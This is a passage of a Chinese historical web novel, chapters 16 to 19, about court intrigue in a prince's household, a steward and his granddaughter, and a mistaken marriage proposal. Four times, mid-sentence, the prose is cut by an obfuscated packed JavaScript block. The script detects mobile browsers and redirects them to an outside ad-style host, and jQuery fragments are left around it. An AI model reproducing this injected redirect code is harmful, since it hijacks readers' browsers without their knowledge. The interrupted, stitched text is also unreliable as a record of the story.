“是的娘,糯米粉和梗米粉,混合搅拌后再加一些糖,上笼蒸熟的。” “钦语,你有心了。” 李钦语莞尔一笑,见江清月始终提防着自己,也不好继续在此待下去,于是便找了个还要继续改良的借口,匆匆带着东西又离开了。 “好险,幸好晌午打包了些糕点带在身上,否则都不知道怎么解释了。” “东西给了吗?” 李钦语看着身边不知从何冒出来的李善俪,被吓了一跳,拍了拍胸脯恢复平静,“姑妈,您又是从哪儿来的?” “是你自己心思不细,做事也不够谨慎。” “好了姑妈,就别教训我了。”李钦语从袖口拿出小瓷瓶,小声道,“江清月在那屋,我没敢给。” “最近她来的未免太频繁了。”李善俪皱眉道,“人家叮嘱过,这药有依赖性,不能停,你今晚再想想办法给她送去。” “知道了。可是姑妈,这样真的好吗?万一被发现了怎么办?” “那也是江氏自愿服下的,我们还能往她嘴里塞不成?况且比起这个,她更接受不了丧子之痛,就算知道这药的真相,依然会求我们给她。” “也是。”李钦语点了点头,“姑妈,说句大逆不道的话,若那位不在了,您是不是就能……” “我早就不奢求所谓名分了,难道被尊称一声郡王妃,日子就能过的好吗?”李善俪顿了顿,“但至少我能掌握这郡王府的实权,为你、为彤姐多谋些好处,将来你们日子更好过,这才是真的。” “钦语助您一臂之力。” 见李钦语等人走远后,江清月盘问起江氏,这段时间李钦语还送了些什么东西来。 “钦语她确实有些心眼,主意多,但肯讨我欢心,并不是什么罪过。” “阿姊,防人之心不可无,当年李善俪又不是没做出过不安分的事,都是一丘之貉,你对她怎么就如此放心。” “前些时日,你不在府上的时候,我吃不好、睡不好,几乎是整宿、整宿,都闭不上眼睛。一到黑夜,我总想起潼丫头的样子……直到钦语肯来开解我,各种食补、药材,如今才好一些。” “她当真有这么好心?” “不管她是出于自愿,还是别的什么目的,我现在能安稳入睡,便已是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065429|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的期许。” “好吧,你都这样说了,我也不好说什么。” “对了,到时候徐管家去找你……” 江清月叹了口气,打断了她。 “好啦,我已经知道了,阿姊,我会好好待他的。” “嗯嗯。”江氏看着江清月,眉眼带笑,“我之前是不是说过了?” 江清月抿嘴点了点头。 两日后,徐子如按照约定来到那临海小院,他身上穿着浆洗的蓝布衣裳,两鬓斑白,身板却还硬朗。 为了表达歉意,江清月自门口亲迎他,“之前真是不好意思,让您白跑一趟。” “不碍事。”徐老摆了摆手,看向四周道,“我们在哪里开始?” “去书房里详谈吧。” 传闻徐老的父亲曾在宫中当司库,深受耳濡目染,善财有道,为人正直,是江家父母多年好友。 十余年前,江氏保全江家财产时,多亏了这位徐管家鼎力相助,若非他的支持,江家两姐妹恐怕无法在那样的情况下全身而退,多年来,江氏也心存感激,时常书信往来之。 而江氏看中的人,江清月自然也十分尊敬,拿出府中最隆重的排场招待贵客,准备好座位、茶点,几乎调动了这府上所有的下人。 “郡王妃交代给我的,我已全数整理完毕。” “好的,徐老。” 江清月还等着对方从什么地方掏出帐簿,对方却只清了清嗓子。 “江家的财产主要集中在建州卫,田地八百亩,城中铺面三十余间,参行七所、客栈五间、酒楼两间、当铺三间。东三街有一老宅,西二街有五进院落,此外,城外荞山、涂山有别馆数间。” “虽然以前也知道江家实力雄厚,可这样听来,还是震撼不已。” “当年郡王妃嫁到盖州卫后,部分财产迁移至本地,拢共商铺十间,大多分布于落花街。” “落花街?”江清月有些兴奋,“那不是这边最繁华的街巷之一了么?原来我时常逛的竟是自家的铺面。” “江家是靠野山参发迹的,几乎垄断了整个辽东都司,每年光是收税都能供普通县城百姓一年花销。做到这一步,就不仅仅只是生意问题了,如何献供朝堂,打点关系,人情往来,利益交换,这些才是至关重要的事。” “可我对这些并不感兴趣,也一窍不通,是非做不可的事吗?” 徐老点了点头,说道:“曾经是郡王妃在管理,如今便该交给你了。” 江清月拱手作揖道:“来日方长,诸多事宜,还请徐老不吝援手。” 徐老摸了摸胡子,故意没回复,吊着对方的胃口,谈判道:“先前,郡王妃答应了我一事,不知到江姑娘这里,是否还算数?” “何事?徐老不妨说来听听。” 徐老拍了拍手,门外走进一位约十岁的黄毛丫头。 江清月看了看其余人,竟然不知这姑娘是从哪儿冒出来的,又是什么时候进的府。 16. 漏洞 “我徐家三代独出,她那可怜的父亲故去,只有这雏女跟着我生活,可——我一把老骨头,纵使有心将她栽培,又能活多少年?” 徐老顿了顿。 “只求待我死后,姑娘能给她一口饭吃、一席地休憩。” “徐老为江家殚精竭虑,数十年如一日,恩情在上,非几两碎银能消,就算您不开口,我也会待您的亲人如同我自己的家人般。” 徐子如眼看着江清月,心里有了几分肯定,招手唤来门边的小女孩。 “翠微,过来行礼。” 虽长着张娇俏的脸,徐翠微的神态却更像她那一身浩然正气的祖父,不卑不亢,自带神风。年仅十岁的小女孩面对一屋子生人,却无怯意,三步迈上前,直挺身背作揖道: “我叫徐翠微,见过小娘子。” 江清月看着眼前伶俐的姑娘,心里满心欢喜,问道:“可会识字,算数?” “爷爷带着读过《幼学琼林》《增广贤文》《二十四孝》和《龙文鞭影》,此外习得一些数理,嘴上会算,不会写。” 徐之如打断道:“爷孙俩闲来无事解闷罢了,若说真正领悟多少,唯有些皮毛而已。” 江清月看了看小女孩,又看了看徐老,若有所思地点了点头。 至此也算是明白了,这位白眉老人此番前来真正的用意。 “在我府上,不必太拘泥于礼节之事。今后大家都是一家人,彼此互谅互助,恭谦恭敬,戒骄戒躁,安稳度日便好。” 兰姑领着徐翠微先行前往住处歇息,江清月带着徐之如进书房详谈管家之事。 “郡王妃此前交给我的田契、地契等官票甚多,基于安全考虑,一直存放于城中松石街的兴光镖局内。此次前来拜访,恐一路上人多眼杂,不便携带,若江姑娘想要亲自着手保存,我明日便去将它提了出来,安置在府内。” “这些先不急。”江清月严肃道,“这屋宅并非我所有,而是归于郡王府管控之下,情况较为复杂,许多事情尚未尘埃落定,不便将那些物件摆来。” “兴光镖局乃辽东第一镖局,背靠国师袁章,既同绿林有来往,又同官府联系密切,就算是康显郡王府也难以随意插手。” “先前南下时,府里往来信件时常常托付给兴光镖师,没想到竟是如此厉害的镖局。” “可容老夫冒昧的问一句,此地可是江姑娘决心扎下根来好好耕耘之处?” 江清月此前并未考虑过这样的问题,她对盖州卫并无留恋,只一心记挂江氏,才迟迟未离开。 “这小院不能长久住下去,我正在物色新的府邸,确定后便会举家搬迁至新的住处。至于未来是在盖州卫,或是其他什么地方,我暂且还未想好,待将来再说吧。” 徐管家点了点头。 “舟车劳顿,您和翠微先回房间歇息着,再要紧的事,也等休息好了再说。” 灵玲望着几人远去的背影,小声嘀咕道:“这徐管家可真怪,还以为他要提出些什么不得了的条件呢,原来就是带了个娃娃来府上,这有什么?” 珠儿也疑惑的说道:“是啊,徐管家的父亲曾是宫中司库,他自己又在江家做了多年事,养育一个孩子,又有何难?” “莫非这徐老把早些年的俸禄都花光了,没料到家中飞来横祸,现如今为了这娃娃才不得不再进府里挣钱来了?” 江清月瞥了一眼,说道:“自江家分崩离析到如今已有十余年,其间,多少人曾想让徐老出山都未尝得愿。可见人家本就不是冲着钱财来的。” 灵玲一脸疑惑,“那我更不懂了,还能为什么?” 江清月故作神秘道,“人家不是一开始就说明白了么?就是为了这个孩子。” “翠微吗?” “有许多事情是钱买不来的,平台、眼界和人脉等,这些虽然是我那个时代的典型物,但如今我发现,在这里也未必不是这个道理。良禽择木,贤臣择主,但徐老择的不是我,是郡王妃。” 灵玲挠了挠脑袋,“好像越说越糊涂了,算了,当我没问吧。” “总之,我们对翠微越好,徐管家便会越有动力。”江清月对珠儿和灵玲说道,“灵玲去问问小姑娘需要什么,尽量给她备足些。珠儿,你上城里去打听打听,洪府的学堂办的如何了,看能不能再加个人进去。” “可是姑娘,洪大人家的学堂去的可都是公子、小姐,翠微的身份怕是不便。” “只是放个话出去,无所谓结果。” 自徐子如来到盖州卫,康显郡王府闻风没少派人前来打探,甚至主动提出要给江清月送几个下人来,名为帮衬小姨子,实则是想监视江清月远在海郊,究竟有何动作。 江清月都一一挡了回去,她不在乎那些人如何说她没礼数,或是做事不体面,那些虚头巴脑的客套话,双方都心知肚明,与其虚与委蛇,不如干脆拒绝了去。 康显郡王府一连好几次吃了闭门羹,自然心中亦有怨气,又不好发作,三天两头找理由克扣她们应的那份,要不就说忘记了,要不就说以为已经给过了。 但如今的江清月已是今非昔比,哪还需要望着郡王府过日子? 即使大部分家产如今还隐匿于暗地,光是悄悄撕开窗户纸,露出来的那一角,便足够府上的日常开支。 清明后,天气又渐渐暖和起来,下了几场雨后,人们褪下冬衣,摇起羽扇来。 旁人的生活似乎归于平常,只有郡王妃仍念记着朱潼,身体日渐消瘦,忘性也渐渐大了起来。 甚至好几次她眼看着江清月,却忘记她名字。 “阿姊,大夫说你的思虑症发作已减轻许多,还减少了用药,为何身体状态,却仍不见好呢?” 江氏糊里糊涂,拿起针线,却忘记如何缝制,“寒冬就要来了,我本想给你绣副手套,一直挺顺手的,停下来休息时,就忘记如何做的了。” 江清月看着那副迟迟没封口的手套。 江氏从去年织到今日,如今天都暖和了,她却以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109975|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是冬季要来,紧逼着自己加快手脚。 咚咚咚…… 廊外脚步声紧促,江清月探出头去,见屋外人来人往,却无人停留在这东厢房。 “说是静休,这郡王府倒像是遗忘了此处似的,一墙之外如此喧嚣,竟无一人前来。” “无人恼,事事休,只你我二人话说家常,这不好么?”江氏拉起手中的线,“忙碌了半生,才觉得这样的清静最是难得。” 江清月低头嘟囔着,“那也不能连着一个月都不来一次吧。” “乱套了,都乱套了!” 洪嬷嬷搓着手,一脸焦急地往屋里去。 “怎么了?” “什么登州来的姓博的人家,上门来提亲了!” 江清月心中一紧,想起了博家二老。 “来提亲?提的谁的亲?” “咱们郡王府还有谁啊,自然是来找那‘彤丫头’的!” “博家怎么会和淇姐儿扯上关系,这事儿难道郡王爷之前不知?” “若知道,岂会如此手忙脚乱?”洪嬷嬷喝了一大杯水,“对方找上门来,说两人私底下定了婚约,可这彤丫头又非……” 洪嬷嬷看着江氏,顿了顿,收敛着说:“彤丫头又不是他故人,难不成还指鹿为马?” 江清月看着手中忙碌、思绪游离的郡王妃,将洪嬷嬷拉至一旁,低声道:“洪嬷嬷,你说的这些,可千真万确?” “老身亲眼看着那几人进的府,那人手里可拿着信物来的。郡王爷大发雷霆,李善俪和彤丫头,正躲在房内不敢出来哩。” “可是博家二老怎么会跟四姑娘有联系?仅在南下时一同渡过船,怎么会让对方以为二人定下婚约?” 江清月的思绪飘回到从前,想起博烟渚总不合时宜出现在她们身边,还以为他从一开始就打量着郡王府小县主的主意,心中顿时燃起怒火。 “这登徒子,我早该看出他不怀好意。” “月姑娘,您见过这号人物?” “之前南下的时候捎带了他们一程,广州府的府邸也是卖给了他。仔细想来,博烟渚说不定早就打听好郡王府的情况,原是捏了个把柄,来此讨个好处的。” “如此心机之人,若真和咱们结为姻亲,往后岂不是还有更多的麻烦事要处理。” “那也是郡王府自作自受,搞什么‘狸猫换太子’的戏码。”江清月欲言又止,“算了。” 洪嬷嬷一脸担忧,“若是这事闹大了,传到京都那边儿去,说咱们是什么‘欺君’,那可如何是好?” 江清月低着头默默不语,事到如今,她对自己此生已无太大留念,甚至觉得不如早点解脱去下一世,于是便负气说道:“大不了白刀子进红刀子出,什么事还能比死了更严重?” “哎呀,月姑娘,你可别说这样的话——” 转角处急匆匆跑来一丫鬟,气喘吁吁打断了洪嬷嬷的话。 “江、江二姑娘,郡王爷让你快、快去大堂!” 17. 良配 江清月虽说早已不关心郡王府之事,对郡王爷和李善俪母女亦颇有怨言,可临了真成一条船上的蚂蚱,即将覆灭时,她心里又不自觉地紧张起来。 她加快脚步,直往那大堂去。 郡王爷横眉红面,一只手撑在腿上,斜睨着来人。 地上沾着些泥土,周围站着胆战心惊的丫鬟和家丁,显然郡王爷先前发作过,可怒气未消,仍一脸暴怒之相。 郡王爷一拍桌子,怒道,“你去趟广州府,不仅把你亲侄女给害死了,还做出这种辱门败户的事,你还有什么不满意的,要这样害我?” 因这博家来的人口口声声称他与“四姑娘”是在南下渡船上认识的,郡王爷便认定了这次的“乌龙提亲”事件就是江清月的报复。 就算不是她故意找来这浪子上门“假提亲”,也是南下时懒散、失职,没管好这些小辈,才作出这种荒唐事。 江清月不想同他争辩,先前还似有些忐忑的心情,如今都化成释怀的鼻息飘逸了出去。 “既然人家来找‘潼姑娘’,康显郡王府也正有个‘彤姑娘’,有何问题?” “你、你、你!”郡王爷吹胡子瞪眼,指着骂道,“别忘了,你江家的玉扳指还在棺里,你以为你能把自己摘的干干净净么?” “欺君乃株连之罪,我江家作为姻亲原本就逃不掉。倒是郡王爷,做这事之前,难道就没想过后果吗?” 他还真未想得那般仔细,总以为天高皇帝远,加之多年盘踞在盖州卫,早已形成一定势力,便狂妄了些,却没想到不知从登州哪儿冒出来的浑小子,偏偏家族又有一定势力,搅得众人一头雾水,自顾不暇。 “就算你恨我、恨郡王府,可江氏——她待你不薄,十年如一日,将你视作自己的亲生骨肉,你就如此狠心,可以连她都不管不顾?” 江清月眼睛定定地看向窗外乌鸟,叹了口气。 仔细想来,她同郡王府并没有血海深仇。同一屋檐下共度十余年时光,非要说恨,又没有那么深刻,对许多事只是觉得寒心。 “那人带的什么信物来?” 郡王爷愣了一下,随后回忆道:“似是手绢,或是方巾此类的,没仔细瞧。不过,你问这个做甚?” “潼姐在船上常咳嗽不止,不可避免沾染一些污秽,虽时时清洗着,好歹是旧物,自己用着尚可,万般不会拿这物件当信物赠与他人。” “你是说,那博家的,拿的当真不是潼儿的手帕?”郡王爷摸了摸胡须,“那浑小子如此理直气壮,我还真信了他们的!来人,把那群人给我撵出去。” “等等,虽然那手帕不是四姑娘的,但并不见得就不是这府上其他人的。”江清月顿了顿,“总之,先在盖州卫安顿好博家的人,三姑娘那般也要沉住气,切莫在事情明确前露出马脚,待我回府再问问其他人,可对这件事有什么眉目,再做打算。” “我堂堂郡王府,难道还要看这船夫眼色?这传出去像什么话!” “这船夫要是上衙门告发郡王府私换嫡女千金身份,您还能这么硬气吗?” 康显郡王哑了声,鼻子传出粗粗的闷气。 “那好,我给你三天时间,三天内,你必须给我解决了。” “三天?”灵玲跟珠儿交换眼神,忍不住大喊起来,“江姑娘,郡王爷他当真这样说?” 江清月坐在自己府中,仍旧心神不宁,一脸凝重点了点头。 “可,这事跟您有何关系?郡王爷为何要您来负责似的。”珠儿鸣不平道。 “谁知道这大老爷整天脑子里都想些什么?”江清月两指撑住额头,来回摩挲,叹气道,“如果不是阿姊恐遭牵连,我定离那家的乱事远远的才好。” “那博家二老我是见过的,但也是之后的事了。”江清月回忆道,“对方说二人在船上私定终身,可一直到他们下岸,潼姐应是连那人是谁都不知道才是啊。” “没错,当时我们还在猜谁是谁呢。”灵玲点了点头,“我看那人只怕是知道了府里的秘密,借机捞一笔好处。” 珠儿沉思片刻说道:“若只是这样,博家二老大可私下找郡王爷谈议,而不是这样大张旗鼓、担着几大箱彩礼就上门,街坊邻居们都瞧了去,撕个鱼死网破,他也下不来台面。” “如果一开始就是个骗局,他何必编造出如此仔细,却又禁不住推敲的故事?”江清月凝眉思索道,“除非他对那天的事深信不疑。” “总不可能认错了人吧?”灵玲打笑了一句,没想到江清月却直直看着自己,一脸严肃的样子,“不是我,江姑娘,我绝对没做过这样的事。” 江清月问道:“花芸是不是曾说自己见过博家二老?” 珠儿想起那日的对话,“潼姑娘的手绢都是我在清洗,当真没见过什么‘牡丹花纹的手绢’,可我似乎见花芸有过一张用苏绣编织的方巾,至于是不是牡丹,我就不清楚了。” 江清月深吸一口气,“我得去趟郡王府。” 空中飘起细微的雨,正当此时,远处传来一阵急促又绵弱的敲门声。 江清月探出半个身,又因雨点落在发丝上而退步,珠儿会意,小跑去堂屋拿来油纸伞,阿福则冒着雨前去开门。 “花芸?江姑娘,是花芸!” 江清月倾斜着身子,绕过阿福朝门外看去。 细雨如丝,浸湿花芸的衣裳,在雨雾里已有些时间,眼睑红红的,脸拧巴在一块儿,画好的眉耷拉下来,变成一道道墨色的泪迹。 “先进来坐着。”江清月连忙将她拉进府中,“虽然最寒冷的日头已经过去,可也不是炎日那般能淋得的。” “江、江姑娘。” 花芸每说一句话便抽泣一下,众人不好打断,只能神色复杂地围在其身边,静等着她挤出那些字来。 “我也、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138838|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也顾不得被谁笑话了,先前算命时,大师说我和使船的有姻缘,后在南下的船上,博家二老便同我、同我私定终身,我们还交换了信物。” 花芸摊开紧握的手心,露出那块带有“博”字的玉佩,“可他,可他却误以为我是四姑娘,提亲时找错了人,郡王爷那么生气,我也不敢去找他说清楚。” 她拉起江清月的手,恳切道:“江姑娘,您能不能找郡王爷,或是那博家二老说一说,说那夜同他看星星闻海风的不是别人、而是花芸!” 江清月接过那玉佩,凝眉道:“能在江湖里打拼这么些年,想必不是什么能为爱痴情的单纯之辈,你就确信——他为的是你这个人,而不是他以为的县主之位?” “他说他从未遇见过像我这样的女孩儿,博家二老在登州不是有很多良配吗?据说媒人都踏平了博家的门,可他从未动心,仍然坚守着我们的约定。” “他若真对世俗的一切都不在意,早该大大方方问你姓名、年龄几许、家在何处,而不是仅靠揣测就敢上门逼亲。” 江清月心里忽然泛起疑惑,“逼亲”这样的事在她看来只会出现在两人地位实在悬殊的情况里,博家二老虽无爵位加身,但为实实在在的富商大贾子弟,身负美名,为何会不问事情原由贸然上门提亲? 花芸扑通一声跪在地上,她拉着江清月的衣角,哽咽道:“求江姑娘成全我们俩。” 一旁的兰姑打着圆场,拉开了花芸,解释道:“众人皆知,博家二老来找的是郡王爷家的嫡女,若把你这个尚未脱离贱籍的家生子推出去,反而引得人争议,让郡王府下不来台。纵使你们是两情相悦,结局也未必能圆满。” “只是让博家二老知道那夜的真相便好,再加上郡王爷根本不想让淇姑娘嫁给博家,这是顺水推舟的好事。” 江清月叹了口气,她从花芸手中夺过那只玉佩,说道:“这件事我去处理,你先把你那张脸好好擦一擦,大家看见晚上都该做噩梦了。” 花芸的目光一直紧随着那玉佩,似乎还有些不甘心,“江姑娘,要不,我同您一起去。” “你既然对他这么有信心,又何必着急要一同去?”江清月眯着眼睛说道,“我会去说服博家取消婚约,但并不意味着他马上就会来迎娶你,在那之前,你不许将此事讲给别人听。” 花芸眨了眨眼睛,“我跟爹爹讲了。” “吴管家懂得这些道理便算了,你再别和府外人说起,这件事更重要。” 花芸点了点头,“不说了,我绝不说。” 江清月看着屋外的雨渐渐停歇,没想到自己又一次以忐忑不安的心情去往郡王府,还是为她曾说“绝不在乎”的事。 “正好还欠那博家二老一个人情,做完此事,就当是两清罢。” 她掸了掸油纸伞,带着兰姑离开了小院,几人驾车朝那人的住处而去,一路上,江清月的心思飘忽不定。 18. 迷雾 朱彤娇声娇气,噙泪说道:“原是花芸那下人冒充的,爹爹,女儿还以为自己真得嫁给那渔夫呢。” 郡王爷一脸心疼地说道:“彤儿别哭,爹爹这就把她打发出去。” 江清月打断了此父女的温情时刻。 “郡王爷打算如何同他、同外面的人说?” “区区一个江湖骗子,竟然舞到我康显郡王跟前来了,还能怎么说?赶出盖州卫都算我仁慈。” “赶走了,然后呢?”江清月反驳道,“仔细想想便能发现其中不合理之处——博家打着私定婚约的名义而来,一个消息,就算从前门到后院需要传一阵子,亦不至于好几日都没个主意,为何这么久以后才识破这显而易见的谎言?” “又不是寻常人家,思虑深而计长远,花费些时日再做打算再正常不过了。” “外界本就对朱潼、朱淇身份多有猜测,如此便更加令人生疑,若那博家男子又是个较真的,非要当面对峙,郡王府又当如何?” “那就跟他说明白,是他搞错了,老老实实拍屁股走人吧。”郡王爷捋了捋胡须。 朱彤拉着郡王爷的袖子补充道:“虽然放过了这渔夫,但那贱奴必须打出去,竟然敢佯装成郡王府千金同野男子谈情说爱,败坏我的名声,差点儿被她害的万劫不复。” 她斜眼看着江清月,“这事说起来你也有责任,爹爹把她打出去后,你不准再将她收进你府中。” “花芸并没有欺骗谁,只是对方会错了意。”江清月说道:“况且,花芸的父亲吴总管是郡王府多年的老人,忠实勤勉,如今正是用人的时候,若把他唯一的女儿赶出府又任人欺凌,谁还有心思继续在这伤心之地鞠躬尽瘁?” “可是……” 朱彤还想说些什么,却被打断。 “此外,郡王府多年以来素有宽厚仁慈的名声,因为博家男子的误会,而把无辜的丫鬟赶出府,岂不是惹人非议,以为郡王府自私薄情,为划清界限而不顾下人死活。” 朱彤瘪起张嘴,说道:“算了,说不过你,你想怎么样就怎么样吧。” 江清月仍是淡淡的模样,“把此事原委告知博家男子,他若明事理、知廉耻,自然会离开盖州卫,放话出去就说是他钦慕郡王府的姑娘,并没有私定终身一回事,街上人最多议论一段时日,再不久就会忘记。” 郡王爷勉强点了点头,“也只有这样了。” “至于花芸,郡王爷就把她给我,我定然好好管教她。”江清月补充道,“不仅仅是卖身契,花芸、珠儿、灵玲以及阿福、阿康的贱籍,都请郡王爷交给我保管。 郡王爷警惕了起来,“你要这些做什么?” “奴仆们散漫怠慢,若不能以官书约束之,便难以管教。” “贱民的劣根性是不会变的,必须得教训,对了,我不是给你送去好些个老实的,你怎么都拒之门外?” “郡王爷费心了,但清月不想多劳烦,只要把这些对郡王府已无任何意义的文书给我,便能为彼此省下不少事。” “你一个弱女子,保管这些东西反而危险,若你想要,再来我府上拿便是。” “我从小寄人篱下,心中多有思虑,这段时间夜来辗转反侧总睡不踏实,觉得自己从没能掌握实权,更无底气管教下人。”江清月顿了顿,“郡王爷早就不想要这些下人回府,何不把文书一应交由我处置?” “罢了罢了,你晚些同李钦语说去,我累了,先去休息了。” 郡王爷在丫鬟搀扶下离开了堂屋,江清月这才注意到他身形消瘦了不少。 再回到那海滨小院时,天已暗沉了下来,可江清月的心却明亮了不少。 对于生活,她虽仍是不懂前路在何处,可渐渐地,似乎已走上正轨。 花芸拉着灵玲的手,一脸焦急地坐在门前的长椅上,几人从白光里坐到月光洒下来,一直到马蹄声从朦胧雾气里传来,她们的心又揪了起来。 珠儿上前掀开帘子,江清月假装严肃地走下来。 “完了,全完了。”花芸刚站起身来,见她这副表情,顿时心灰意冷,双腿瘫软,一个没站住,一屁股又墩坐了下去。 “就这么沉不住气吗?”江清月从怀里掏出一叠文书,像从前小时候展示满分试卷似的举在众人面前。 “江姑娘,这是什么?”灵玲凑近看着,却因不识字而说不出个所以然。 “卖身契和贱籍,全从郡王府拿回来了。” 身份文书转了出来,便意味着不再受郡王府的要挟,众人欣喜若狂,纷纷凑上前去围观。 她们都不识字,却凭着微弱的月光一字字比划着、读着,手里握着那薄薄的纸,像是能掌握自己人生似的。 可花芸却高兴不起来。 “江姑娘,那博家二老呢?” 江清月回忆道:“郡王爷托人前去向他说明了原委,今日下午,他们便乘马车离开了盖州卫,只留下一封短短的书信交给郡王爷,至于纸上内容为何,我就不知了。” “二老可有提起我?” 江清月摇了摇头,“人是连夜走的,想必也觉着荒谬不已,不愿再深究此事。” 花芸掩面哭了起来。 兰姑安慰道:“把自己的一生寄托给虚无缥缈的人原就是不靠谱的,此番至少因祸得福,从郡王府脱离了出来,过几年安生日子。” “可是,这又有什么用呢?” 江清月一愣,表情沉了下来,似乎有些怨言,说道:“怎么,你不愿意过这种平淡的日子?” 花芸抬眼看了一眼,又低头叹着气,心中确实为江清月说的那样。 她曾做了一整年的美梦,梦中嫁给了登州船总的二公子,勤劳踏实地打理着一大家族的内务。 这梦太过真实,日日想、夜夜想,眼前的场景几乎就快成真的,以至于忘了自己的身份。 如今回过头看看,才知自身处境的艰难,或是出于悔悟,或是明哲保身,花芸讨好道: “江姑娘,花芸再不去哪儿了,尽心尽力伺候您一辈子,直到您厌恶了,我就在十里八街外的横梁悬一根白绫,不给谁添麻烦。” 江清月叹了口气,“倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175541|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是要这样。” 自那以后的很长一段日子,登州博家再没有传来消息,众人也渐渐淡忘了这事。 日光渐渐烈了起来,从前爱晒的人都纷纷躲起了太阳,江清月最近不大爱动,气温的变化总让她想起一些并不愉快的事情。 抛开去看望江氏的例行事务,她便只会待在屋里,手头总忙些什么,却又不知道在忙些什么。 某日晴朗时,灵玲手里还提着买菜的筐子,全然忘记了自己出门一趟的任务,便兴冲冲地跑了回来。 “今早我自郡王府门前过,听说郡王爷今晚会在南山脚下的川江池畔大摆宴席,门口乌泱泱来了几十辆马车,我拉住门口脸熟的小厮一问,说是请来了江南最有名的歌舞伎,说是要效仿什么曲、什么宴。” 江清月歪头道:“曲江宴?” “对对,就是这个。” “看来是泓哥儿回来了。” 她的手里还捧着账簿,却心不在焉地乱翻着。 灵玲一脸疑惑,说道:“二爷不是在京城参加殿试么?难道是,落选了?” 珠儿弯着手指敲了敲灵玲的脑袋,笑着反驳道:“笨灵玲,要是二爷落选了,郡王爷会大张旗鼓地摆桌设宴么?” “也是呢。”灵玲点了点头,“可是这样的大事,郡王爷怎么不通知我们呢?” 江清月玩笑说道:“一边闹着要同郡王府割席,一边又想吃郡王府的软饭,好赖话都让我们说了。” 灵玲连忙摆手,“我不是这个意思,心想着二爷再怎么……再怎么说也是多少年的情谊,理应前来知会一声才是。” 江清月低垂着眼眸,心中五味杂陈,沉思片刻后叹了口气。 殿试刚放榜时,她几次三番去郡王府打听消息,还特意叮嘱兰姑看好家中来信。 可到了最后,如同今日一样,她仍是从外人口中得知朱泓的消息。 “那姑娘,今晚咱还去么?”灵玲小声问道。 “起先还打着我的幌子,原来你的心早就飞去江对岸了。”江清月摇了摇羽扇,“留是留不住的,去沾点喜气回来吧。” 灵玲蹦了起来,缠着珠儿同她一起去,珠儿却对这些事不感兴趣,兰姑更是嫌累不愿走。 “花芸,你是最爱看热闹的,咱们一起去吧?” 花芸一席素衣,面容憔悴,摇了摇头。 “你们都不去,那我也不去了。” 灵玲有些失落地坐在木椅上。 江清月唤来屋内写字的翠微,说道:“这孩子本是乡野里乱窜的,如今不得不关在府里,久了难免烦闷,正好泓哥设宴于川江池畔,可遇不可求,灵玲,你带她去瞧瞧吧。” 翠微的眸子闪出一丝亮光,“可是传闻中那位才高八斗的泓二公子?” 江清月低头轻声问道:“翠微也想成为这样的人么?” 徐翠微猛地点了点头。 “那以后送你去学堂,如何?” “此话当真?” “当真。”江清月故弄玄虚道,“不过将来,你可是要报答我的。” 19. 怀疑 天边晕染起一抹淡淡的粉,像是一抹胭脂洒进了海里,随风摇曳,每分每秒变幻着姿色。 川江池畔围满各式各样的人,起初是稀疏几人远远望着灯火眺望。 越靠近,便越是喧嚣,那些人大多数盖州卫前来围观的市民,纷纷交头接耳,抵掌而谈。 逆着流觞曲水而上,人声少了,琴声便悠扬了起来。 康显郡王包了两艘北上的船,将江南最贵的名伎请至盖州卫,成箱的金银财宝砸了进去,只为听个响。 聚会最盛处,作为主角的朱泓却并不在池畔。 背对着月光,他与那琴声越走越远。 因不想被人议论,朱泓还刻意低着头,绕着人群走,虽仍能听见有人议论自己,却无人真正认得他。 直至走到外三层时,人们已经开始自娱自乐,像是在庆贺自己的事一般,无人在意今晚为何而来。 “姑娘,今晚的月亮真亮呀。” 珠儿望着天空说道。 江清月正抱着半边西瓜,抬了抬眼皮子,“明日又是大太阳。” 不知从哪儿冒出来的黑猫,一跃自墙上而下,正巧扑倒在江清月脚边,她被窜出来的黑影吓了一跳,手中的西瓜滚落地上,红色的汁水溅了一身。 她站起身来,抬手擦着脸,掸了掸衣裳。 